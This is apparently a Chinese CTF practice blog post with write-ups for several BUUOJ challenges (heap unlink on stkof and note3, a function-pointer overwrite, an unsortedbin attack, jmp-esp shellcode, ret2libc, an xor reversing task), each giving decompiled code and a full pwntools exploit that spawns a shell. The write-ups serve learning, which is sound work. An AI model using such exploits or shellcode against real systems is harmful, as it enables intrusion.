由于第一个堆块创建完不知道为啥会自己创建一个 0x410 的堆块,所以我们不用 1 块

  • 首先创造 4 个块,在 2 块里伪造堆块
    • 其中 size 为 1 块大小-0x10
    • 取 aim=0x602100+0x10,也就是 2 块指针
    • fd 为 aim-0x18 bk为 aim-0x10,这样是可以通过 unlink 检查的,至于为什么可以看 unlink 源码然后画个表格就可以了
    • 将 3 块的 pre_size 写为 chunk1-0x10,chunk3size 去掉末尾 1 写为 0
1
2
3
4
5
6
7
8
9
add(0x10) # 1
add(0x80) # 2
add(0x80) # 3
add(0x10) # 4 top
bss=0x602140
chunk2_ptr=bss+0x10
fd=chunk2_ptr-0x18
bk=chunk2_ptr-0x10
edit(2,p64(0)+p64(0x80)+p64(fd)+p64(bk)+p64(0)*0xc+p64(0x80)+p64(0x90))

效果如下

  • 然后 delete(3) 即可 unlink 这个伪造的 chunk ,具体效果就是往 chunk2 指针上写入 aim-0x18 (unlink 效果的最后一句),然后我们就可以通过这个指针往 0x602140 写入东西

效果

  • 然后我们往 chunk1 指针写入 free_got,往 chunk2 指针写入 puts_got,然后我们 edit(1),写入 puts_plt 接着 delete(2) 就可以将 puts_addr 打印出来,然后计算 libcbase,最后往 free_got 写入 system,然后将 chunk4 写入 /bin/sh\x00,最后 delete(4) 即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
delete(3)
edit(2,p64(0)*2+p64(elf.got['free'])+p64(elf.got['puts']))
edit(1,p64(elf.plt['puts']))

delete(2)
r.recvuntil("OK\n")
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
print("puts_addr->",hex(puts_addr))
libcbase=puts_addr-libc.sym['puts']
system_addr=libcbase+libc.sym['system']
print("system->",hex(system_addr))

edit(4,b'/bin/sh\x00')
edit(1,p64(system_addr))
delete(4)
r.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
elf=ELF('./stkof')
libc=ELF('./libc-2.23.so')
#r=process('./stkof')
r=remote("node5.buuoj.cn",26117)

def add(size):
r.sendline("1")
r.sendline(str(size))
r.recvuntil("OK\n")

def edit(idx,content):
r.sendline("2")
r.sendline(str(idx))
r.sendline(str(len(content)))
r.send(content)
r.recvuntil("OK\n")

def delete(idx):
r.sendline("3")
r.sendline(str(idx))

add(0x10) # 1
add(0x80) # 2
add(0x80) # 3
add(0x10) # 4 top
bss=0x602140
chunk2_ptr=bss+0x10
fd=chunk2_ptr-0x18
bk=chunk2_ptr-0x10
edit(2,p64(0)+p64(0x80)+p64(fd)+p64(bk)+p64(0)*0xc+p64(0x80)+p64(0x90))
delete(3)
edit(2,p64(0)*2+p64(elf.got['free'])+p64(elf.got['puts']))
edit(1,p64(elf.plt['puts']))

delete(2)
r.recvuntil("OK\n")
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
print("puts_addr->",hex(puts_addr))
libcbase=puts_addr-libc.sym['puts']
system_addr=libcbase+libc.sym['system']
print("system->",hex(system_addr))

edit(4,b'/bin/sh\x00')
edit(1,p64(system_addr))
delete(4)
r.interactive()

zctf_2016_note3

checksec

1
2
3
4
5
6
[*] '/home/yyyffff/桌面/note3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)

IDA

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
while ( 1 )
{
switch ( (unsigned int)sub_400A1B() )
{
case 1u:
add();
break;
case 2u:
show();
break;
case 3u:
edit();
break;
case 4u:
delete();
break;
case 5u:
puts("Bye~");
exit(0);
case 6u:
exit(0);
default:
continue;
}
}
}

菜单题

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int add()
{
int i; // [rsp+Ch] [rbp-14h]
__int64 size; // [rsp+10h] [rbp-10h]
void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 6 && *(&ptr + i); ++i )
;
if ( i == 7 )
puts("Note is full, add fail");
puts("Input the length of the note content:(less than 1024)");
size = sub_4009B9();
if ( size < 0 )
return puts("Length error");
if ( size > 0x400 )
return puts("Content is too long");
v3 = malloc(size);
puts("Input the note content:");
sub_4008DD((__int64)v3, size, 10);
*(&ptr + i) = v3;
qword_6020C0[i + 8] = size;
qword_6020C0[0] = (__int64)*(&ptr + i);
return printf("note add success, the id is %d\n", (unsigned int)i);
}

如图

c0 是临时的,从 c8 开始记录堆指针,从 100 开始记录每个堆块长度

show

1
2
3
4
int show()
{
return puts("No show, No leak.");
}

骗人的/(ㄒoㄒ)/~~

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int edit()
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v3; // [rsp+8h] [rbp-8h]

puts("Input the id of the note:");
v0 = sub_4009B9();
v3 = v0 % 7;
if ( v0 % 7 >= v0 )
{
v1 = (__int64)*(&ptr + v3);
if ( v1 )
{
puts("Input the new content:");
sub_4008DD((__int64)*(&ptr + v3), qword_6020C0[v3 + 8], 10);
qword_6020C0[0] = (__int64)*(&ptr + v3);
LODWORD(v1) = puts("Edit success");
}
}
else
{
LODWORD(v1) = puts("please input correct id.");
}
return v1;
}

具体的函数有漏洞

sub_4008DD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 __fastcall sub_4008DD(__int64 ptr, __int64 len, char a3)
{
char buf; // [rsp+2Fh] [rbp-11h] BYREF
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]

for ( i = 0LL; len - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == a3 )
break;
*(_BYTE *)(i + ptr) = buf;
}
*(_BYTE *)(ptr + i) = 0;
return i;
}

如果 len 是 0 的话被当作 unsignedint 就会变成非常大,可以覆盖下面许多堆块的数据

还有一种是分配许多堆块,最后一个堆块堆块虽然会警告但是还是会分配,也就会覆盖第一个堆的 len ,也可以造成极大输入

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int delete()
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v3; // [rsp+8h] [rbp-8h]

puts("Input the id of the note:");
v0 = sub_4009B9();
v3 = v0 % 7;
if ( v0 % 7 >= v0 )
{
v1 = (__int64)*(&ptr + v3);
if ( v1 )
{
free(*(&ptr + v3));
if ( (void *)qword_6020C0[0] == *(&ptr + v3) )
qword_6020C0[0] = 0LL;
*(&ptr + v3) = 0LL;
LODWORD(v1) = puts("Delete success");
}
}
else
{
LODWORD(v1) = puts("please input correct id.");
}
return v1;
}

分析

方法跟上一题一一模一样,懒得写了

需要注意的是这里如果直接用 p64,也就是发送 8 字节,写入 got 表的话由于 edit内函数的问题,会将下一个 got 表地址最后一字节覆盖成 \x00,所以用p64(system_addr)[:7] 来只发送 7 个字节

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
elf=ELF('./note3')
libc=ELF('./libc-2.23.so')
r=process('./note3')
#r=remote("node5.buuoj.cn",28982)

def add(size,content):
r.recvuntil("ption--->>\n")
r.sendline("1")
r.recvuntil("an 1024)\n")
r.sendline(str(size))
r.recvuntil("ontent:\n")
r.sendline(content)

def edit(idx,content):
r.recvuntil("ption--->>\n")
r.sendline("3")
r.recvuntil("the note:\n")
r.sendline(str(idx))
r.recvuntil("content:\n")
r.sendline(content)


def delete(idx):
r.recvuntil("ption--->>\n")
r.sendline("4")
r.recvuntil("the note:\n")
r.sendline(str(idx))


add(0x0,b'?') # 0
add(0x68,b'aa') # 1
add(0xf0,b'aa') # 2
add(0x30,b'/bin/sh\x00') # 3
add(0x30,b'aaa')
pause()
bss=0x6020C0
chunk1_ptr=bss+0x10
fd=chunk1_ptr-0x18
bk=chunk1_ptr-0x10
edit(0,p64(0)*3+p64(0x71)+p64(0)+p64(0x60)+p64(fd)+p64(bk)+p64(0)*8+p64(0x60)+p64(0x100))
delete(2)

edit(1,b'A'*8*2+p64(elf.got['free'])+p64(elf.got['puts']))

edit(0,b'\x30\x07\x40\x00\x00\x00')

delete(1)

puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
print("puts_addr->",hex(puts_addr))
libcbase=puts_addr-libc.sym['puts']
system_addr=libcbase+libc.sym['system']
edit(0,p64(system_addr)[:7])
delete(3)
r.interactive()

[ZJCTF 2019]Login

checksec

1
2
3
4
5
6
7
8
yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/buu/login$ checksec login
[*] '/mnt/hgfs/VMware-share/buu/login/login'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

IDA分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __cdecl main(int argc, const char **argv, const char **envp)
{
void (*v3)(void); // rax
__int64 password; // rbx
__int64 v5; // rax
char v7; // [rsp+Fh] [rbp-131h] BYREF
__int64 v8; // [rsp+10h] [rbp-130h] BYREF
char v9[176]; // [rsp+20h] [rbp-120h] BYREF
char v10[88]; // [rsp+D0h] [rbp-70h] BYREF
unsigned __int64 v11; // [rsp+128h] [rbp-18h]

v11 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
strcpy(v10, "2jctf_pa5sw0rd");
memset(&v10[15], 0, 65);
Admin::Admin((Admin *)v9, "admin", v10);
puts(
" _____ _ ____ _____ _____ _ _ \n"
"|__ / | |/ ___|_ _| ___| | | ___ __ _(_)_ __ \n"
" / /_ | | | | | | |_ | | / _ \\ / _` | | '_ \\ \n"
" / /| |_| | |___ | | | _| | |__| (_) | (_| | | | | |\n"
"/____\\___/ \\____| |_| |_| |_____\\___/ \\__, |_|_| |_|\n"
" |___/ ");
printf("Please enter username: ");
User::read_name((User *)&login);
printf("Please enter password: ");
v3 = (void (*)(void))main::{lambda(void)#1}::operator void (*)(void)(&v7);
v8 = password_checker(v3);
User::read_password((User *)&login);
password = User::get_password((User *)v9);
v5 = User::get_password((User *)&login);
password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(&v8, v5, password);
return 0;
}

直接给出了账号密码

32行调用password_checker,进入查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 __fastcall password_checker(void (*)(void))::{lambda(char const*,char const*)#1}::operator()(
void (***a1)(void),
const char *a2,
const char *a3)
{
char s[88]; // [rsp+20h] [rbp-60h] BYREF
unsigned __int64 v5; // [rsp+78h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( !strcmp(a2, a3) )
{
snprintf(s, 0x50uLL, "Password accepted: %s\n", s);
puts(s);
(**a1)();
}
else
{
puts("Nope!");
}
return __readfsqword(0x28u) ^ v5;
}

调用二级指针 a1,逆向看 a1 是哪来的,观察到 a1 是该函数第一个参数,回到 main 函数中查看,是由 28 行赋值而来,进入其内部

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:0000000000400A79 public _Z16password_checkerPFvvE
.text:0000000000400A79 _Z16password_checkerPFvvE proc near
.text:0000000000400A79
.text:0000000000400A79 var_18= qword ptr -18h
.text:0000000000400A79 var_8= qword ptr -8
.text:0000000000400A79
.text:0000000000400A79 ; __unwind {
.text:0000000000400A79 push rbp
.text:0000000000400A7A mov rbp, rsp
.text:0000000000400A7D mov [rbp+var_18], rdi
.text:0000000000400A81 mov [rbp+var_8], 0
.text:0000000000400A89 lea rax, [rbp+var_18]
.text:0000000000400A8D pop rbp
.text:0000000000400A8E retn
.text:0000000000400A8E ; } // starts at 400A79
.text:0000000000400A8E _Z16password_checkerPFvvE endp

lea rax,[rbp+var_18] 就是控制的返回值,也就是说上面 a1 是这里的 rax,也就是 rbp-0x18,那么如何控制其为后门函数地址呢,找到输入,也就是 main 函数29行,进入查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned __int64 __fastcall User::read_password(User *this)
{
char s[8]; // [rsp+10h] [rbp-60h] BYREF
__int64 v3; // [rsp+18h] [rbp-58h]
__int64 v4; // [rsp+20h] [rbp-50h]
__int64 v5; // [rsp+28h] [rbp-48h]
__int64 v6; // [rsp+30h] [rbp-40h]
__int64 v7; // [rsp+38h] [rbp-38h]
__int64 v8; // [rsp+40h] [rbp-30h]
__int64 v9; // [rsp+48h] [rbp-28h]
__int64 v10; // [rsp+50h] [rbp-20h]
__int64 v11; // [rsp+58h] [rbp-18h]
unsigned __int64 v12; // [rsp+68h] [rbp-8h]

v12 = __readfsqword(0x28u);
fgets(s, 79, stdin);
strip_newline(s, 0x50uLL);
*((_QWORD *)this + 11) = *(_QWORD *)s;
*((_QWORD *)this + 12) = v3;
*((_QWORD *)this + 13) = v4;
*((_QWORD *)this + 14) = v5;
*((_QWORD *)this + 15) = v6;
*((_QWORD *)this + 16) = v7;
*((_QWORD *)this + 17) = v8;
*((_QWORD *)this + 18) = v9;
*((_QWORD *)this + 19) = v10;
*((_QWORD *)this + 20) = v11;
return __readfsqword(0x28u) ^ v12;
}

对 s 输入,s 偏移是 rbp-0x60,那么我们只需要先输入 b’a’*(0x60-0x18)+p64(backdoor) 拿到shell

后门

1
2
3
4
5
int __fastcall Admin::shell(Admin *this)
{
puts("Congratulations!");
return system("/bin/sh");
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
r=remote("node5.buuoj.cn",26181)
context(arch='amd64',os='linux',log_level='debug')
payload=b'2jctf_pa5sw0rd'
payload=payload.ljust(0x60-0x18,b'\x00')
payload+=p64(0x400E88)
r.recv()
r.sendline("Admin")
r.recv()
pause()
r.sendline(payload)
r.interactive()

hitcontraining_magicheap

checksec

1
2
3
4
5
6
7
[*] '/mnt/hgfs/VMware-share/buu/heap/hp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
Stripped: No

2.23的堆

分析

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 3 )
break;
delete_heap();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 0x1305 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
else
{
LABEL_17:
puts("Invalid Choice");
}
}
else if ( v3 == 1 )
{
create_heap();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
edit_heap();
}
}
}

菜单题

可以看到只要 magic>0x1305 就可以进入 else,而里面的 l33t() 是后门函数

edit_heap 里编辑的长度是我们自己输入的,存在堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int edit_heap()
{
unsigned int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
size_t v3; // [rsp+8h] [rbp-8h]

printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( !heaparray[v1] )
return puts("No such heap !");
printf("Size of Heap : ");
read(0, buf, 8uLL);
v3 = atoi(buf);
printf("Content of heap : ");
read_input((void *)heaparray[v1], v3);
return puts("Done !");
}

所以直接用 unsortedbin attack ,将一个大地址写入 magic 里即可

具体就是分配ABC三堆块,B 范围在 unsortedbin 范围内,释放 B,利用 A 溢出修改 B 的 bk 为 magic-0x10,再次分配 B 大小堆块,即可写入

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
r=remote("node5.buuoj.cn",25482)
sla = lambda a,b : r.sendlineafter(a,b)
sa = lambda a,b : r.sendafter(a,b)
ru = lambda a : r.recvuntil(a)
def add(size,content='a'):
sla("Your choice :",str(1))
sla("Size of Heap : ",str(size))
sla("Content of heap:",content)

def edit(idx,content):
sla("Your choice :",str(2))
sla("Index :",str(idx))
sla("Size of Heap : ",str(len(content)))
sla("Content of heap : ",content)

def delete(idx):
sla("Your choice :",str(3))
sla("Index :",str(idx))

add(0x80) # 0
add(0x80) # 1
add(0x80) # 2
delete(1)
edit(0,b'a'*0x80+p64(0)+p64(0x91)+p64(0)+p64(0x602090))
add(0x80,b'aaaa')
sla("Your choice :",str(4869))
r.interactive()

ciscn_2019_s_9

checksec

1
2
3
4
5
6
7
8
9
10
11
yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/buu/cs9$ checksec cs9
[*] '/mnt/hgfs/VMware-share/buu/cs9/cs9'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes

分析

主要的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int pwn()
{
char s[24]; // [esp+8h] [ebp-20h] BYREF

puts("\nHey! ^_^");
puts("\nIt's nice to meet you");
puts("\nDo you have anything to tell?");
puts(">");
fflush(stdout);
fgets(s, 0x32, stdin);
puts("OK bye~");
fflush(stdout);
return 1;
}

有个短的栈溢出,

还给了一个 jmp esp 的 hint,可以利用 shellcode,不过只能将 shellcode 写在我们 payload 的头部,如果尾部长度不够,最后将返回地址覆盖成 jmp esp,然后后面加上 sub esp,40;call esp 即可使 eip 指向我们的 shellcode

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context(arch='i386',os='linux',log_level='debug')
r=remote("node5.buuoj.cn",25268)
shellcode='''
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor edx,edx
xor ecx,ecx
mov al,0xb
int 0x80
'''
shellcode=asm(shellcode)
payload=shellcode.ljust(0x24,b'a')+p32(0x08048554)+asm('sub esp,40;call esp')
print(hex(len(payload)))
r.recv()
pause()
r.sendline(payload)
r.interactive()

jarvisoj_level1

checksec

32位啥都没开

IDA分析

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 0xEu);
return 0;
}
1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

printf("What's this:%p?\n", buf);
return read(0, buf, 0x100u);
}

栈溢出,给了栈地址,就想能不能做 ret2shellcode,然后在本地通了,但是远程很奇怪,连接后不发送任何东西是没有输出的,跟我在本地完全不一样,看了看网上的 wp,发现大家都差不多,最后远程用 ret2libc 通了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch='i386',os='linux',log_level='debug')
r=remote("node5.buuoj.cn",27110)
elf=ELF('./l1')
libc=ELF('./libc-2.23.so')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.sym['main']
payload=b'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))
print(hex(write_addr))
libcbase=write_addr-libc.sym['write']
system_addr=libcbase+libc.sym['system']
binsh_addr=libcbase+next(libc.search(b'/bin/sh'))
payload=b'a'*(0x88+4)+p32(system_addr)+p32(main_addr)+p32(binsh_addr)
r.sendline(payload)
r.interactive()

xor

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+2Ch] [rbp-124h]
char __b[264]; // [rsp+40h] [rbp-110h] BYREF

memset(__b, 0, 0x100uLL);
printf("Input your flag:\n");
get_line(__b, 256LL);
if ( strlen(__b) != 0x21 )
goto LABEL_7;
for ( i = 1; i < 33; ++i )
__b[i] ^= __b[i - 1];
if ( !strncmp(__b, global, 0x21uLL) )
printf("Success");
else
LABEL_7:
printf("Failed");
return 0;
}

对于第0位,flag[0]=global[0]=’f’

可以看到从1开始,而 flag[i]^flag[i-1]=global[i],而 global 已知

那么我们就可以从过异或的特性 a^a=0,a^b=c,则 a^b^b=c^b–>a=c^b

而加密过程( 在加密的时候,**__b[i-1] 已经是加密后的 enc[i-1]**,不是原始 flag[i-1]。 )

1
2
3
4
5
enc[0] = flag[0]
enc[1] = flag[1] ^ enc[0]
enc[2] = flag[2] ^ enc[1]
enc[3] = flag[3] ^ enc[2]
...

然后我们就可以通过异或的特性来解密

1
flag[i] = enc[i] ^ enc[i-1]

然后我们就可以解出flag

1
2
3
4
5
6
7
8
from pwn import *
data=[0x66 ,0x0A ,0x6B ,0x0C ,0x77 ,0x26 ,0x4F ,0x2E ,0x40 ,0x11 ,0x78 ,0x0D ,0x5A ,0x3B ,0x55 ,0x11 ,0x70 ,0x19 ,0x46 ,0x1F ,0x76 ,0x22 ,0x4D ,0x23 ,0x44 ,0x0E, 0x67 ,0x06 ,0x68 ,0x0F ,0x47 ,0x32 ,0x4F]
flag=chr(data[0])
print(len(data))
for i in range (1,len(data)):
flag+=chr(data[i]^data[i-1])

print(flag)

buu做题记录
http://yyyffff.github.io/2025/02/19/buu做题记录/
作者
yyyffff
发布于
2025年2月19日
许可协议